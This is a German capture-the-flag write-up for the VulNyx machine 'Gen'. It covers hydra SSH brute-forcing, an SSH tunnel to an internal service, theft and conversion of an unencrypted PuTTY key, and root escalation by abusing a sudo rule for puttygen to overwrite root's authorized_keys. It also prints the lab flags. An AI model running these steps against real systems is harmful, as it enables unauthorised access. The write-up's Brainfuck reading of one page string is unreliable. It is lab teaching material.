Gen - VulNyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
cat
hydra
ssh
ss
puttygen
ssh2john
id
find
sudo
ls

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.122	08:00:27:d2:60:53	PCS Systemtechnik GmbH

[...]
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.411 seconds (181.43 hosts/sec). 1 responded

Analyse: Der ARP-Scan identifiziert die Ziel-IP `192.168.2.122` mit der MAC-Adresse `08:00:27:d2:60:53` (VirtualBox).

Bewertung: Zielsystem im lokalen Netz gefunden.

Empfehlung (Pentester): Ziel-IP notieren, Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
┌──(root㉿CCat)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
192.168.2.122   gen.nyx

Analyse: Der Hostname `gen.nyx` wird der Ziel-IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Adressierung des Ziels.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.122 -Pn --min-rate 10000 | grep open
22/tcp open  ssh     OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))

Analyse: Ein schneller Nmap TCP SYN Scan (`-sS`) mit Skripten, Versionserkennung etc. (`-sC -sV -A`) über alle Ports (`-p-`) findet Port 22 (SSH, OpenSSH 9.2p1) und Port 80 (HTTP, Apache 2.4.57) offen.

Bewertung: Identifiziert die primären Dienste. Die Versionen sind relativ aktuell für Debian 12.

Empfehlung (Pentester): Führen Sie einen vollständigen Scan durch, um Details zu bestätigen. Untersuchen Sie den Webserver auf Port 80.
Empfehlung (Admin): Dienste aktuell halten.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.122 -Pn --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 16:27 CEST
Nmap scan report for gen.nyx (192.168.2.122)
Host is up (0.00020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:D2:60:53 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.20 ms gen.nyx (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt die Details für SSH (Port 22) und HTTP (Port 80). Die Webseite hat keinen Titel.

Bewertung: Bestätigt die offenen Ports und Versionen. Keine ungewöhnlichen Dienste gefunden.

Web Enumeration

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.122
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2024-08-26 16:28:53 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 611f, size: 61143bc38afbe, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-08-26 16:29:09 (GMT2) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto findet keine kritischen Schwachstellen auf Port 80, nur die üblichen Hinweise auf fehlende Sicherheitsheader und ETag-Leak.

Bewertung: Der Webserver selbst scheint nicht direkt angreifbar.

Empfehlung (Pentester): Fokus auf Verzeichnis-/Datei-Enumeration.
Empfehlung (Admin): Sicherheitsheader implementieren.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://gen.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://gen.nyx
[...]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 24863]
/note.txt             (Status: 200) [Size: 239] <-- Interessant!
===============================================================
Finished

Analyse: Gobuster findet die `index.html` und eine Datei namens `note.txt` im Web-Root.

Bewertung: `note.txt` ist ein vielversprechender Fund, da solche Dateien oft wichtige Hinweise oder Zugangsdaten enthalten.

Empfehlung (Pentester): Lesen Sie den Inhalt von `note.txt`.
Empfehlung (Admin): Speichern Sie keine sensiblen Informationen in Textdateien im Web-Root.

Information Disclosure (note.txt)

Hello Mark,


- We have secured the internal server and it is now available on port 9999.

- There you will find Peter private key

(don't forget that it has a different format and he has to convert it for it to work).

Thanks.

Analyse: Der Inhalt von `note.txt` wird angezeigt. Die Nachricht ist an "Mark" gerichtet und erwähnt einen internen Server auf Port 9999, auf dem ein privater Schlüssel für "Peter" zu finden ist. Es wird darauf hingewiesen, dass der Schlüssel ein "anderes Format" hat und konvertiert werden muss.

Bewertung: Kritische Informationspreisgabe! Enthält Benutzernamen (`Mark`, `Peter`), einen Port für einen internen Dienst (9999) und den Speicherort eines privaten Schlüssels. Der Hinweis auf das Format deutet möglicherweise auf einen PuTTY-Schlüssel (.ppk) hin.

Empfehlung (Pentester): 1. Versuchen Sie, das Passwort für den Benutzer `Mark` per SSH (Port 22) zu bruteforcen (da die Notiz an ihn gerichtet ist). 2. Richten Sie ein SSH Port Forwarding ein (`ssh -L 9999:127.0.0.1:9999 mark@gen.nyx`), um auf den internen Dienst auf Port 9999 zugreifen zu können. 3. Untersuchen Sie den Dienst auf Port 9999 (wahrscheinlich ein Webserver) auf den erwähnten Schlüssel für `Peter`.
Empfehlung (Admin): Hinterlassen Sie niemals solche Notizen auf einem Webserver! Sichern Sie interne Dienste ordnungsgemäß ab und verhindern Sie den Zugriff von außen (auch über Port Forwarding).

Credential Access (Hydra SSH)

┌──(root㉿CCat)-[~] └─# hydra -l mark -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.122 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-26 16:35:26
[...]
[DATA] attacking ssh://192.168.2.122:22/
[...]
[22][ssh] host: 192.168.2.122   login: mark   password: genesis
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-26 16:37:41

Analyse: Hydra wird verwendet, um das SSH-Passwort für den Benutzer `mark` (aus `note.txt`) mit der `rockyou.txt`-Liste zu bruteforcen.

Bewertung: Erfolg! Das Passwort `genesis` wird für `mark` gefunden.

Empfehlung (Pentester): Melden Sie sich als `mark` per SSH an. Richten Sie das Port Forwarding für Port 9999 ein.
Empfehlung (Admin): Verwenden Sie starke Passwörter. Implementieren Sie Schutz vor Brute-Force-Angriffen.

Initial Access (SSH as mark)

┌──(root㉿CCat)-[~] └─# ssh mark@192.168.2.122
The authenticity of host '192.168.2.122 (192.168.2.122)' can't be established.
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.122' (ED25519) to the list of known hosts.
mark@192.168.2.122's password: genesis <-- Passwort eingegeben
Linux gen 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64

Warning!

You are accessing a private system of an organization.
Please note that all activities carried out on this system may be monitored and recorded.
Any unauthorized use is strictly prohibited.
If you are not authorized to access this system or are unsure of your privileges, log out immediately.
By accessing this system, you agree to comply with the policies and procedures established by the organization.

Regards.

<-- Login erfolgreich, MOTD angezeigt
mark@gen:~$

Analyse: Erfolgreicher SSH-Login als Benutzer `mark` mit dem Passwort `genesis`. Eine Warnmeldung (MOTD - Message of the Day) wird angezeigt.

Bewertung: Initial Access als Benutzer `mark` erlangt.

Empfehlung (Pentester): Führen Sie grundlegende Enumeration als `mark` durch. Richten Sie das Port Forwarding für Port 9999 ein.
Empfehlung (Admin): MOTD kann zur Abschreckung dienen, ersetzt aber keine technischen Sicherheitsmaßnahmen.

http://gen.nyx/

      ......+...+...+..+...+.......+++++++++++++++++++++++++++++++++++++++*...+.........+.....+......+.......+++++++++++++++++++++++++++++++++++++++*....+...+.......+......+..+....+...+...+.....+...+.+...+..+.+...............+...+.........+..+...+................+..+...+.........+.+...........+..........+...++++++
      .........+........+.+..+...+.......+..+......+.+...+++++++++++++++++++++++++++++++++++++++*.............+...+...+++++++++++++++++++++++++++++++++++++++*..........+.........+.........+..+....+..+.........+...+.......+..............+.+.....+.+.........+...........+....+.....+...+......+....+...+............+...+...+...........+....+...............+..+...+.+.....+...+.+.....+.+.........+.....+.+...+........+.......+...+...+.....+....+...+.........+...........+....+...+...+.....+.......+...+........+......+......+...+.........+...+.......+........+.......+............+..........................+...+.......+..+......+...................+............+...+...+...+.....+....+..+.............+..+....+..+...+.+......+..+.+......+........+.+.....+.+.........+......++++++
      

Analyse: Der Quellcode oder die Ausgabe der Webseite auf Port 80 (`http://gen.nyx/`) enthält eine lange Zeichenkette aus `.` , `+` und `*`. Dies sieht stark nach Brainfuck-Code aus.

Bewertung: Ungewöhnlicher Fund. Dieser Code könnte eine Nachricht oder einen Hinweis enthalten, wenn er ausgeführt wird.

Empfehlung (Pentester): Kopieren Sie den Brainfuck-Code und führen Sie ihn in einem Online-Interpreter (z.B. dcode.fr) aus, um zu sehen, was er tut oder ausgibt.
Empfehlung (Admin): Entfernen Sie solchen Code von Webseiten.

https://www.dcode.fr/brainfuck-language

Memory Dump: [index] = char (ASCII code)
[0] = \x00 (0)
[1] = e (101)
[2] = o (111)
pointer = 1

Analyse: Der Brainfuck-Code wird in einem Interpreter ausgeführt. Das Ergebnis im Speicher (Memory Dump) an den relevanten Zellen ist 'eo'.

Bewertung: Der Brainfuck-Code scheint keine nützliche Information zu liefern, möglicherweise nur ein Easter Egg oder eine falsche Fährte.

Internal Enumeration (Port Forwarding)

┌──(root㉿CCat)-[~] └─# ssh -L 9999:127.0.0.1:9999 mark@192.168.2.122
mark@192.168.2.122's password: genesis <-- Passwort eingegeben
[...] <-- MOTD
mark@gen:~$
<-- SSH Verbindung mit Port Forwarding aktiv

Analyse: Eine neue SSH-Verbindung als `mark` wird aufgebaut. Dabei wird lokales Port Forwarding (`-L`) verwendet: Der lokale Port 9999 des Angreifer-Systems wird an den Port 9999 auf dem Loopback-Interface (`127.0.0.1`) des Zielsystems weitergeleitet.

Bewertung: Korrekte Methode, um auf den internen Dienst zuzugreifen, der laut `note.txt` auf Port 9999 lauscht.

Empfehlung (Pentester): Untersuchen Sie nun den Dienst, der auf `http://localhost:9999` (auf dem Angreifer-System) erreichbar ist.
Empfehlung (Admin): Beschränken Sie SSH Port Forwarding, wenn möglich (`AllowTcpForwarding no` in `sshd_config`).

┌──(root㉿CCat)-[~] └─# ss -altpn
State      Recv-Q     Send-Q              Local Address:Port            Peer Address:Port     Process
LISTEN     0          128                     127.0.0.1:9999                 0.0.0.0:*         users:(("ssh",pid=14033,fd=5))
[...]
LISTEN     0          128                         [::1]:9999                    [::]:*         users:(("ssh",pid=14033,fd=4))
[...]

Analyse: `ss -altpn` auf dem Angreifer-System bestätigt, dass der SSH-Prozess nun auf den lokalen Ports 9999 (IPv4 und IPv6) lauscht, bereit, Verbindungen weiterzuleiten.

Bewertung: Bestätigt die erfolgreiche Einrichtung des Tunnels.

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.

Analyse: Der Zugriff auf `http://localhost:9999` (über den SSH-Tunnel) zeigt eine Standard-Nginx-Willkommensseite.

Bewertung: Der interne Dienst auf Port 9999 ist ein Nginx-Webserver.

Empfehlung (Pentester): Führen Sie Verzeichnis- und Datei-Enumeration (z.B. mit Gobuster) gegen `http://localhost:9999` durch, um nach versteckten Inhalten zu suchen, insbesondere nach dem erwähnten Schlüssel für "Peter".
Empfehlung (Admin): Sichern Sie auch interne Webserver ab. Entfernen Sie Standardseiten.

┌──(root㉿CCat)-[~] └─# gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://127.0.0.1:9999/' -x '.pub,.ppk,.pem,.key'
<-- Gezielte Suche nach Schlüsseldateien
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://127.0.0.1:9999/
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Extensions:              pub,ppk,pem,key
[+] Status codes:          200,204,301,302,307,401,403,405,500
[...]
===============================================================
Starting gobuster
===============================================================
/id_rsa.ppk           (Status: 200) [Size: 2061]
===============================================================
Finished

Analyse: Gobuster wird gegen den internen Nginx-Server auf Port 9999 ausgeführt. Es wird gezielt nach Dateien mit Schlüssel-typischen Endungen (`.pub`, `.ppk`, `.pem`, `.key`) gesucht.

Bewertung: Erfolg! Gobuster findet die Datei `id_rsa.ppk`.

Empfehlung (Pentester): Laden Sie die Datei `http://localhost:9999/id_rsa.ppk` herunter. Analysieren Sie sie. `.ppk` ist das Format für PuTTY Private Keys.
Empfehlung (Admin): Speichern Sie niemals private Schlüssel im Web-Root, auch nicht von internen Servern!

Key Discovery & Conversion (peter's key)

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: peter@gen <-- Schlüssel gehört 'peter@gen'
Public-Lines: 9
AAAAB3NzaC1yc2EAAAADAQABAAABgQCXderHTJk9bVra4jc/M2n19+YfuaXgkRot
[...]
Private-Lines: 21
AAABgAZr2uTRNAv9J2VxQstcqCjj9i8xJT20mSoCMoKpJC584JbGy3Ez4UtZKQtm
[...]
Private-MAC: ddf613a5fe1b8e368671e046193ec282600331b31e39f575a344c3bb23248d6b

Analyse: Die heruntergeladene Datei `id_rsa.ppk` wird angezeigt. Es handelt sich um einen unverschlüsselten (`Encryption: none`) PuTTY Private Key für den Benutzer `peter@gen` (wahrscheinlich Benutzer `peter` auf Host `gen`).

Bewertung: Bestätigt den Fund des privaten Schlüssels für Benutzer `peter`, wie in `note.txt` angekündigt. Das PuTTY-Format muss für die Verwendung mit dem Standard-OpenSSH-Client konvertiert werden.

Empfehlung (Pentester): Verwenden Sie `puttygen` (unter Linux oder Windows), um den `.ppk`-Schlüssel in das OpenSSH-Format zu konvertieren: `puttygen id_rsa.ppk -O private-openssh -o id_rsa`. Versuchen Sie dann, sich als `peter` mit dem konvertierten Schlüssel per SSH anzumelden.
Empfehlung (Admin): Schlüssel sicher verwalten!

┌──(root㉿CCat)-[~] └─# puttygen /home/ccat/Downloads/id_rsa.ppk -O private-openssh -o id_rsa

Analyse: `puttygen` wird verwendet, um den heruntergeladenen `.ppk`-Schlüssel in das OpenSSH-Format zu konvertieren und als `id_rsa` zu speichern.

Bewertung: Erfolgreiche Konvertierung des Schlüssels.

Horizontal Privilege Escalation (mark -> peter)

┌──(root㉿CCat)-[~] └─# ssh peter@192.168.2.122 -i id_rsa
[...]
<-- Host Key Abfrage/Warnung, falls noch nicht bekannt
peter@gen:~$ id
uid=1001(peter) gid=1001(peter) groups=1001(peter)

Analyse: Erfolgreicher SSH-Login als Benutzer `peter` unter Verwendung des konvertierten, unverschlüsselten privaten Schlüssels.

Bewertung: Horizontale Rechteausweitung von `mark` zu `peter` erfolgreich.

Empfehlung (Pentester): Führen Sie Enumeration als `peter` durch (`sudo -l`, Home-Verzeichnis etc.).
Empfehlung (Admin): Überprüfen Sie SSH-Schlüssel und Zugriffsrechte.

peter@gen:~$ find / -type f -perm -4000 -ls 2>/dev/null
   917654     60 -rwsr-xr-x   1 root     root        59704 mar 23  2023 /usr/bin/mount
   914039     52 -rwsr-xr-x   1 root     root        52880 mar 23  2023 /usr/bin/chsh
   914042     68 -rwsr-xr-x   1 root     root        68248 mar 23  2023 /usr/bin/passwd
   918251     72 -rwsr-xr-x   1 root     root        72000 mar 23  2023 /usr/bin/su
   943185    276 -rwsr-xr-x   1 root     root       281624 jun 27  2023 /usr/bin/sudo
   914041     88 -rwsr-xr-x   1 root     root        88496 mar 23  2023 /usr/bin/gpasswd
   914038     64 -rwsr-xr-x   1 root     root        62672 mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 mar 23  2023 /usr/bin/umount
   917500     48 -rwsr-xr-x   1 root     root        48896 mar 23  2023 /usr/bin/newgrp
   922664     52 -rwsr-xr--   1 root     messagebus    51272 sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   918689    640 -rwsr-xr-x   1 root     root         653888 dic 19  2023 /usr/lib/openssh/ssh-keysign

Analyse: Suche nach SUID-Dateien als `peter`.

Bewertung: Findet nur Standard-Binaries.

peter@gen:~$ ls -la
total 24
drwxr-x--- 3 peter peter 4096 feb 13  2024 .
drwxr-xr-x 4 root  root  4096 feb 13  2024 ..
lrwxrwxrwx 1 root  root     9 feb 13  2024 .bash_history -> /dev/null
-rw-r--r-- 1 peter peter  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 peter peter 3526 abr 23  2023 .bashrc
-rw-r--r-- 1 peter peter  807 abr 23  2023 .profile
drwx------ 2 peter peter 4096 feb 13  2024 .ssh
peter@gen:~$ ls -la .ssh/
total 16
drwx------ 2 peter peter 4096 feb 13  2024 .
drwxr-x--- 3 peter peter 4096 feb 13  2024 ..
-rw------- 1 peter peter  563 feb 13  2024 authorized_keys <-- Enthält nur den Public Key des verwendeten Private Keys
-rw------- 1 peter peter 2590 feb 13  2024 id_rsa          <-- Der Private Key selbst (OpenSSH Format)

Analyse: Auflistung des Home-Verzeichnisses und des `.ssh`-Verzeichnisses von `peter`. Bestätigt die Existenz des Schlüsselpaares.

Bewertung: Keine neuen Angriffspunkte hier gefunden.

Analyse: Der Angreifer wechselt zurück zum Benutzer `mark` mit `su mark` und dem Passwort `genesis`. Dies ist ein ungewöhnlicher Schritt, da `peter` bereits erreicht wurde. Möglicherweise hat `peter` keine `sudo`-Rechte, während `mark` welche hat.

Bewertung: Taktischer Wechsel zurück zu `mark`, um dessen `sudo`-Rechte zu nutzen.

peter@gen:/var/www$ su mark
Password:
<-- genesis
mark@gen:/var/www$

Privilege Escalation (mark -> root via puttygen)

mark@gen:/var/www/html$ sudo -l
Matching Defaults entries for mark on gen:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mark may run the following commands on gen:
    (root) NOPASSWD: /usr/bin/puttygen

Analyse: `sudo -l` für `mark` zeigt, dass dieser `/usr/bin/puttygen` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund! `puttygen` ist ein Werkzeug zur Schlüsselgenerierung und -konvertierung. Wenn es als `root` ausgeführt werden kann, kann es missbraucht werden, um Dateien als `root` zu schreiben, insbesondere öffentliche SSH-Schlüssel in die `authorized_keys`-Datei von `root`.

Empfehlung (Pentester): 1. Generieren Sie ein neues SSH-Schlüsselpaar auf dem Zielsystem als `mark` (z.B. mit `puttygen -t rsa -o id_rsa_new`). 2. Verwenden Sie `sudo /usr/bin/puttygen id_rsa_new -O public-openssh -o /root/.ssh/authorized_keys`, um den öffentlichen Teil des neuen Schlüssels in die `authorized_keys`-Datei von `root` zu schreiben. Die `-O public-openssh` Option extrahiert den öffentlichen Schlüssel im richtigen Format. 3. Melden Sie sich als `root` per SSH mit dem neuen privaten Schlüssel (`id_rsa_new`) an.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Schlüsselgenerierungs- oder Konvertierungstools wie `puttygen` oder `ssh-keygen`, insbesondere nicht als `root`.

mark@gen:/var/www/html$ cd ~
mark@gen:~$ cat user.txt
d045787a2743570b0dc1aea01fc952ce

Analyse: Die User-Flag für `mark` wird gelesen.

Bewertung: User-Flag erfolgreich erhalten.

Proof of Concept (Root Exploit via puttygen)

Analyse: Der folgende Abschnitt demonstriert die Eskalation zu `root` durch Ausnutzung der `sudo`-Regel für `puttygen`.

  1. Als Benutzer `mark` wird mit `puttygen` ein neues RSA-Schlüsselpaar (`id_rsa`) ohne Passphrase erstellt.
  2. Die `sudo`-Regel wird genutzt, um `puttygen` als `root` auszuführen. Mit der Option `-O public-openssh` wird der öffentliche Teil des gerade erstellten Schlüssels (`id_rsa`) extrahiert und direkt in die `authorized_keys`-Datei des `root`-Benutzers (`/root/.ssh/authorized_keys`) geschrieben.
  3. Anschließend wird `ssh root@localhost -i id_rsa` verwendet, um sich mit dem neu erstellten privaten Schlüssel als `root` anzumelden.

Bewertung: Erfolgreiche Ausnutzung der unsicheren `sudo`-Konfiguration. Durch das Schreiben des eigenen öffentlichen Schlüssels in die `authorized_keys` von `root` wird der SSH-Zugang als `root` ermöglicht.

Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel für `puttygen`.

mark@gen:~$ puttygen -t rsa -o id_rsa --new-passphrase /dev/null
<-- Generiert Schlüssel ohne Passphrase
Enter passphrase to save key: 
Re-enter passphrase to verify: 
mark@gen:~$ ls -la
total 44
drwxr-x--- 4 mark mark 4096 ago 26 17:11 .
drwxr-xr-x 4 root root 4096 feb 13  2024 ..
[...]
-rw------- 1 mark mark 1743 ago 26 17:11 id_rsa <-- Neuer privater Schlüssel
-rw-r--r-- 1 mark mark  397 ago 26 17:11 id_rsa.pub <-- Neuer öffentlicher Schlüssel
[...]
-r--r--r-- 1 mark mark   33 feb 13  2024 user.txt
mark@gen:~$ sudo -u root /usr/bin/puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh
Enter passphrase to load key: 
mark@gen:~$ ssh root@localhost -i id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
root@gen:~# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Erfolgreicher SSH-Login als `root` mit dem neu generierten Schlüssel.

Bewertung: Root-Zugriff bestätigt.

root@gen:~# ls
root.txt
root@gen:~# cat root.txt
f003a3bc3ff27072d6ac2c7a1ab63254
root@gen:~# cat /home/mark/user.txt
d045787a2743570b0dc1aea01fc952ce

Analyse: Die Root-Flag wird aus `/root/root.txt` und die User-Flag aus `/home/mark/user.txt` ausgelesen.

Bewertung: Beide Flags erfolgreich gefunden.

Flags

cat /home/mark/user.txt
d045787a2743570b0dc1aea01fc952ce
cat /root/root.txt
f003a3bc3ff27072d6ac2c7a1ab63254